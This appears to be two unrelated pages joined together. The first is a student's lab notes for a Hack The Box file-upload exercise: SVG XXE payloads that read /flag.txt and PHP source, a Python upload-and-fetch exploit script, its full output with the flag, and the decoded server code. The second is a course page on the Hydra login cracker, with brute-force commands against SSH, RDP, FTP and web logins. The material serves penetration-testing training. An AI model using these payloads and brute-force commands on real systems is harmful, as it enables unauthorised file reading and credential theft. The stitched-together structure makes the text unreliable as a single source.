htb_xxe_code.svg ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ car htb_xxe_code.svg bash: car: command not found ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ cat htb_xxe_code.svg <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> Copy """ --------------------------- Limited File Upload Exploit --------------------------- """ # Import Request to send web request to the internet import requests import sys import subprocess import base64 # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) # Optional headers to mimic your Burp capture HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": "http://{target}", "Referer": "http://{target}/", # don't set Content-Type here — requests will set the correct multipart boundary } def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 # ============================ PHP SCRIPT ============================ # php_web_shell_filename = "htb.lfu.svg" source_code_content = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]><svg>&xxe;</svg>' flag_content = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]><svg>&xxe;</svg>' # ============================ UPLOAD AND ACCESS URL of TARGET ============================ # upload_url = f"http://{target}/upload.php" # Specify Profile Images access_url = f"http://94.237.120.230:44763/" """ Q1. The above exercise contains an upload functionality that should be secure against arbitrary file uploads. Try to exploit it using one of the attacks shown in this section to read "/flag.txt" """ # ============================ UPLOAD FILE TO TARGET, usiing an XXE Payload ============================ # # Upload File upload_response = upload_file(php_web_shell_filename, flag_content, upload_url) # Display upload Response print_response(upload_response) # ============================ ACESS FLAG AND WEBSHELL RESPONSE of TARGET ============================ # svg_flag_response = access_web_shell(access_url) # Display Flag / SVG Shell Response print_response(svg_flag_response) """ Q2. Try to read the source code of 'upload.php' to identify the uploads directory, and use its name as the answer. (write it exactly as found in the source, without quotes) """ # ============================ UPLOAD FILE TO TARGET, usiing an XXE Payload ============================ # # Upload File upload_response = upload_file(php_web_shell_filename, source_code_content, upload_url) # Display upload Response print_response(upload_response) # ============================ ACESS FLAG AND WEBSHELL RESPONSE of TARGET ============================ # svg_source_code_response = access_web_shell(access_url) # Display Flag / Web Shell Response print_response(svg_source_code_response) def upload_file(svg_web_shell_filename, php_content, upload_url): # FILE INFORMATION files = { # form field name matches the one in Burp capture "uploadFile": (svg_web_shell_filename, php_content.encode("utf-8"), "image/svg+xml"), } # Add specific headers from Burp capture headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "X-Requested-With": "XMLHttpRequest", "DNT": "1", "Sec-GPC": "1", "Connection": "keep-alive" } # ============================ Initiate the Request to UPLOAD PHP FILE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(upload_url, files=files, headers=headers, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### UPLOAD FILE RESPONSE ###############") # return response to upload return r def access_web_shell(access_url): # ============================ ACCESS Web Shell / PHP UPLOAD FILE RESPONSE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### WEB SHELL RESPONSE WITH FLAG ###############") # return response to with flag return r def print_response(response): r = response # ============================ FORMAT OUTPUT ============================ # print("\n======= Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS,r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS,r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES,r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy ############### UPLOAD FILE RESPONSE ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.120.230:44763/upload.php ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0', 'Accept-Encoding': 'gzip, deflate, br', 'Accept': '*/*', 'Connection': 'keep-alive', 'Accept-Language': 'en-US,en;q=0.5', 'X-Requested-With': 'XMLHttpRequest', 'DNT': '1', 'Sec-GPC': '1', 'Content-Length': '294', 'Content-Type': 'multipart/form-data; boundary=c2eb07b91edf5becc505537d5d17c4ef'} ******************** REQUEST BODY (raw): ******************** b'--c2eb07b91edf5becc505537d5d17c4ef\r\nContent-Disposition: form-data; name="uploadFile"; filename="htb.lfu.svg"\r\nContent-Type: image/svg+xml\r\n\r\n<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]><svg>&xxe;</svg>\r\n--c2eb07b91edf5becc505537d5d17c4ef--\r\n' ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 26 ******************** RESPONSE (first 300 chars): ******************** File successfully uploaded ******************** ############### WEB SHELL RESPONSE WITH FLAG ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** GET ******************** REQUEST URL: ******************** http://94.237.120.230:44763/ ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} ******************** REQUEST BODY (raw): ******************** None ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 672 ******************** RESPONSE (first 300 chars): ******************** <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Employee File Manager</title> <link rel="stylesheet" href="./style.css"> </head> <body> <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src="./script.js"></script> <div> <h1>Update your logo</h1> <center> <form action="upload.php" method="POST" enctype="multipart/form-data" id="uploadForm"> <input type="file" name="uploadFile" id="uploadFile" accept=".svg"> <svg>HTB{my_1m4635_4r3_l37h4l} </svg> <input type="submit" value="Upload" id="submit"> </form> </center> </div> </body> </html> ******************** ############### UPLOAD FILE RESPONSE ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.120.230:44763/upload.php ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0', 'Accept-Encoding': 'gzip, deflate, br', 'Accept': '*/*', 'Connection': 'keep-alive', 'Accept-Language': 'en-US,en;q=0.5', 'X-Requested-With': 'XMLHttpRequest', 'DNT': '1', 'Sec-GPC': '1', 'Content-Length': '332', 'Content-Type': 'multipart/form-data; boundary=c06eabf6824f4ea75939a22f77617543'} ******************** REQUEST BODY (raw): ******************** b'--c06eabf6824f4ea75939a22f77617543\r\nContent-Disposition: form-data; name="uploadFile"; filename="htb.lfu.svg"\r\nContent-Type: image/svg+xml\r\n\r\n<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]><svg>&xxe;</svg>\r\n--c06eabf6824f4ea75939a22f77617543--\r\n' ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 26 ******************** RESPONSE (first 300 chars): ******************** File successfully uploaded ******************** ############### WEB SHELL RESPONSE WITH FLAG ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** GET ******************** REQUEST URL: ******************** http://94.237.120.230:44763/ ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} ******************** REQUEST BODY (raw): ******************** None ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 1838 ******************** RESPONSE (first 300 chars): ******************** <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Employee File Manager</title> <link rel="stylesheet" href="./style.css"> </head> <body> <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src="./script.js"></script> <div> <h1>Update your logo</h1> <center> <form action="upload.php" method="POST" enctype="multipart/form-data" id="uploadForm"> <input type="file" name="uploadFile" id="uploadFile" accept=".svg"> <svg>PD9waHAKJHRhcmdldF9kaXIgPSAiLi9pbWFnZXMvIjsKJGZpbGVOYW1lID0gYmFzZW5hbWUoJF9GSUxFU1sidXBsb2FkRmlsZSJdWyJuYW1lIl0pOwokdGFyZ2V0X2ZpbGUgPSAkdGFyZ2V0X2RpciAuICRmaWxlTmFtZTsKJGNvbnRlbnRUeXBlID0gJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0eXBlJ107CiRNSU1FdHlwZSA9IG1pbWVfY29udGVudF90eXBlKCRfRklMRVNbJ3VwbG9hZEZpbGUnXVsndG1wX25hbWUnXSk7CgppZiAoIXByZWdfbWF0Y2goJy9eLipcLnN2ZyQvJywgJGZpbGVOYW1lKSkgewogICAgZWNobyAiT25seSBTVkcgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9Cgpmb3JlYWNoIChhcnJheSgkY29udGVudFR5cGUsICRNSU1FdHlwZSkgYXMgJHR5cGUpIHsKICAgIGlmICghaW5fYXJyYXkoJHR5cGUsIGFycmF5KCdpbWFnZS9zdmcreG1sJykpKSB7CiAgICAgICAgZWNobyAiT25seSBTVkcgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgICAgICBkaWUoKTsKICAgIH0KfQoKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICRsYXRlc3QgPSBmb3BlbigkdGFyZ2V0X2RpciAuICJsYXRlc3QueG1sIiwgInciKTsKICAgIGZ3cml0ZSgkbGF0ZXN0LCBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSkpOwogICAgZmNsb3NlKCRsYXRlc3QpOwogICAgZWNobyAiRmlsZSBzdWNjZXNzZnVsbHkgdXBsb2FkZWQiOwp9IGVsc2UgewogICAgZWNobyAiRmlsZSBmYWlsZWQgdG8gdXBsb2FkIjsKfQo=</svg> <input type="submit" value="Upload" id="submit"> </form> </center> </div> </body> </html> ******************** Copy import base64 b64 = "PD9waHAKJHRhcmdldF9kaXIgPSAiLi9pbWFnZXMvIjsKJGZpbGVOYW1lID0gYmFzZW5hbWUoJF9GSUxFU1sidXBsb2FkRmlsZSJdWyJuYW1lIl0pOwokdGFyZ2V0X2ZpbGUgPSAkdGFyZ2V0X2RpciAuICRmaWxlTmFtZTsKJGNvbnRlbnRUeXBlID0gJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0eXBlJ107CiRNSU1FdHlwZSA9IG1pbWVfY29udGVudF90eXBlKCRfRklMRVNbJ3VwbG9hZEZpbGUnXVsndG1wX25hbWUnXSk7CgppZiAoIXByZWdfbWF0Y2goJy9eLipcLnN2ZyQvJywgJGZpbGVOYW1lKSkgewogICAgZWNobyAiT25seSBTVkcgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9Cgpmb3JlYWNoIChhcnJheSgkY29udGVudFR5cGUsICRNSU1FdHlwZSkgYXMgJHR5cGUpIHsKICAgIGlmICghaW5fYXJyYXkoJHR5cGUsIGFycmF5KCdpbWFnZS9zdmcreG1sJykpKSB7CiAgICAgICAgZWNobyAiT25seSBTVkcgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgICAgICBkaWUoKTsKICAgIH0KfQoKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICRsYXRlc3QgPSBmb3BlbigkdGFyZ2V0X2RpciAuICJsYXRlc3QueG1sIiwgInciKTsKICAgIGZ3cml0ZSgkbGF0ZXN0LCBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSkpOwogICAgZmNsb3NlKCRsYXRlc3QpOwogICAgZWNobyAiRmlsZSBzdWNjZXNzZnVsbHkgdXBsb2FkZWQiOwp9IGVsc2UgewogICAgZWNobyAiRmlsZSBmYWlsZWQgdG8gdXBsb2FkIjsKfQo=" print(base64.b64decode(b64).decode('utf-8')) Copy <?php $target_dir = "./images/"; $fileName = basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); if (!preg_match('/^.*\.svg$/', $fileName)) { echo "Only SVG images are allowed"; die(); } foreach (array($contentType, $MIMEtype) as $type) { if (!in_array($type, array('image/svg+xml'))) { echo "Only SVG images are allowed"; die(); } } if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { $latest = fopen($target_dir . "latest.xml", "w"); fwrite($latest, basename($_FILES["uploadFile"]["name"])); fclose($latest); echo "File successfully uploaded"; } else { echo "File failed to upload"; } --- # Hydra | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra.md) . * * * Hydra is a fast network login cracker that supports numerous attack protocols. It is a versatile tool that can brute-force a wide range of services, including web applications, remote login services like SSH and FTP, and even databases. Hydra's popularity stems from its: * `Speed and Efficiency`: Hydra utilizes parallel connections to perform multiple login attempts simultaneously, significantly speeding up the cracking process. * `Flexibility`: Hydra supports many protocols and services, making it adaptable to various attack scenarios. * `Ease of Use`: Hydra is relatively easy to use despite its power, with a straightforward command-line interface and clear syntax. #### Installation[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra#installation) Hydra often comes pre-installed on popular penetration testing distributions. You can verify its presence by running: Hydra Copy hack3rSWE@htb[/htb]$ hydra -h If Hydra is not installed or you are using a different Linux distribution, you can install it from the package repository: Hydra Copy hack3rSWE@htb[/htb]$ sudo apt-get -y update hack3rSWE@htb[/htb]$ sudo apt-get -y install hydra ### Basic Usage[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra#basic-usage) Hydra's basic syntax is: Hydra Parameter Explanation Usage Example `-l LOGIN` or `-L FILE` Login options: Specify either a single username (`-l`) or a file containing a list of usernames (`-L`). `hydra -l admin ...` or `hydra -L usernames.txt ...` `-p PASS` or `-P FILE` Password options: Provide either a single password (`-p`) or a file containing a list of passwords (`-P`). `hydra -p password123 ...` or `hydra -P passwords.txt ...` `-t TASKS` Tasks: Define the number of parallel tasks (threads) to run, potentially speeding up the attack. `hydra -t 4 ...` `-f` Fast mode: Stop the attack after the first successful login is found. `hydra -f ...` `-s PORT` Port: Specify a non-default port for the target service. `hydra -s 2222 ...` `-v` or `-V` Verbose output: Display detailed information about the attack's progress, including attempts and results. `hydra -v ...` or `hydra -V ...` (for even more verbosity) `service://server` Target: Specify the service (e.g., `ssh`, `http`, `ftp`) and the target server's address or hostname. `hydra ssh://192.168.1.100` `/OPT` Service-specific options: Provide any additional options required by the target service. `hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^"` (for HTTP form-based authentication) #### Hydra Services[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra#hydra-services) Hydra services essentially define the specific protocols or services that Hydra can target. They enable Hydra to interact with different authentication mechanisms used by various systems, applications, and network services. Each module is designed to understand a particular protocol's communication patterns and authentication requirements, allowing Hydra to send appropriate login requests and interpret the responses. Below is a table of commonly used services: Hydra Service Service/Protocol Description Example Command ftp File Transfer Protocol (FTP) Used to brute-force login credentials for FTP services, commonly used to transfer files over a network. `hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100` ssh Secure Shell (SSH) Targets SSH services to brute-force credentials, commonly used for secure remote login to systems. `hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100` http-get/post HTTP Web Services Used to brute-force login credentials for HTTP web login forms using either GET or POST requests. `hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"` smtp Simple Mail Transfer Protocol Attacks email servers by brute-forcing login credentials for SMTP, commonly used to send emails. `hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com` pop3 Post Office Protocol (POP3) Targets email retrieval services to brute-force credentials for POP3 login. `hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com` imap Internet Message Access Protocol Used to brute-force credentials for IMAP services, which allow users to access their email remotely. `hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com` mysql MySQL Database Attempts to brute-force login credentials for MySQL databases. `hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100` mssql Microsoft SQL Server Targets Microsoft SQL servers to brute-force database login credentials. `hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100` vnc Virtual Network Computing (VNC) Brute-forces VNC services, used for remote desktop access. `hydra -P /path/to/password_list.txt vnc://192.168.1.100` rdp Remote Desktop Protocol (RDP) Targets Microsoft RDP services for remote login brute-forcing. `hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100` #### Brute-Forcing HTTP Authentication[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra#brute-forcing-http-authentication) Imagine you're tasked with testing the security of a website using basic HTTP authentication at `www.example.com`. You have a list of potential usernames stored in `usernames.txt` and corresponding passwords in `passwords.txt`. To launch a brute-force attack against this HTTP service, use the following Hydra command: Hydra This command instructs Hydra to: * Use the list of usernames from the `usernames.txt` file. * Use the list of passwords from the `passwords.txt` file. * Target the website `www.example.com`. * Employ the `http-get` module to test the HTTP authentication. Hydra will systematically try each username-password combination against the target website to discover a valid login. #### Targeting Multiple SSH Servers[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra#targeting-multiple-ssh-servers) Consider a situation where you have identified several servers that may be vulnerable to SSH brute-force attacks. You compile their IP addresses into a file named `targets.txt` and know that these servers might use the default username "root" and password "toor." To efficiently test all these servers simultaneously, use the following Hydra command: Hydra This command instructs Hydra to: * Use the username "root". * Use the password "toor". * Target all IP addresses listed in the `targets.txt` file. * Employ the `ssh` module for the attack. Hydra will execute parallel brute-force attempts on each server, significantly speeding up the process. #### Testing FTP Credentials on a Non-Standard Port[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra#testing-ftp-credentials-on-a-non-standard-port) Imagine you need to assess the security of an FTP server hosted at `ftp.example.com`, which operates on a non-standard port `2121`. You have lists of potential usernames and passwords stored in `usernames.txt` and `passwords.txt`, respectively. To test these credentials against the FTP service, use the following Hydra command: Hydra This command instructs Hydra to: * Use the list of usernames from the `usernames.txt` file. * Use the list of passwords from the `passwords.txt` file. * Target the FTP service on `ftp.example.com` via port `2121`. * Use the `ftp` module and provide verbose output (`-V`) for detailed monitoring. Hydra will attempt to match each username-password combination against the FTP server on the specified port. #### Brute-Forcing a Web Login Form[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra#brute-forcing-a-web-login-form) Suppose you are tasked with brute-forcing a login form on a web application at `www.example.com`. You know the username is "admin," and the form parameters for the login are `user=^USER^&pass=^PASS^`. To perform this attack, use the following Hydra command: Hydra This command instructs Hydra to: * Use the username "admin". * Use the list of passwords from the `passwords.txt` file. * Target the login form at `/login` on `www.example.com`. * Employ the `http-post-form` module with the specified form parameters. * Look for a successful login indicated by the HTTP status code `302`. Hydra will systematically attempt each password for the "admin" account, checking for the specified success condition. #### Advanced RDP Brute-Forcing[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra#advanced-rdp-brute-forcing) Now, imagine you're testing a Remote Desktop Protocol (RDP) service on a server with IP `192.168.1.100`. You suspect the username is "administrator," and that the password consists of 6 to 8 characters, including lowercase letters, uppercase letters, and numbers. To carry out this precise attack, use the following Hydra command: Hydra This command instructs Hydra to: * Use the username "administrator". * Generate and test passwords ranging from 6 to 8 characters, using the specified character set. * Target the RDP service on `192.168.1.100`. * Employ the `rdp` module for the attack. Hydra will generate and test all possible password combinations within the specified parameters, attempting to break into the RDP service. [PreviousHybrid Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks) [NextBasic HTTP Authentication](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication) Last updated 1 year ago Copy hack3rSWE@htb[/htb]$ hydra [login_options] [password_options] [attack_options] [service_options] Copy hack3rSWE@htb[/htb]$ hydra -L usernames.txt -P passwords.txt www.example.com http-get Copy hack3rSWE@htb[/htb]$ hydra -l root -p toor -M targets.txt ssh Copy hack3rSWE@htb[/htb]$ hydra -L usernames.txt -P passwords.txt -s 2121 -V ftp.example.com ftp Copy hack3rSWE@htb[/htb]$ hydra -l admin -P passwords.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302" Copy hack3rSWE@htb[/htb]$ hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp ---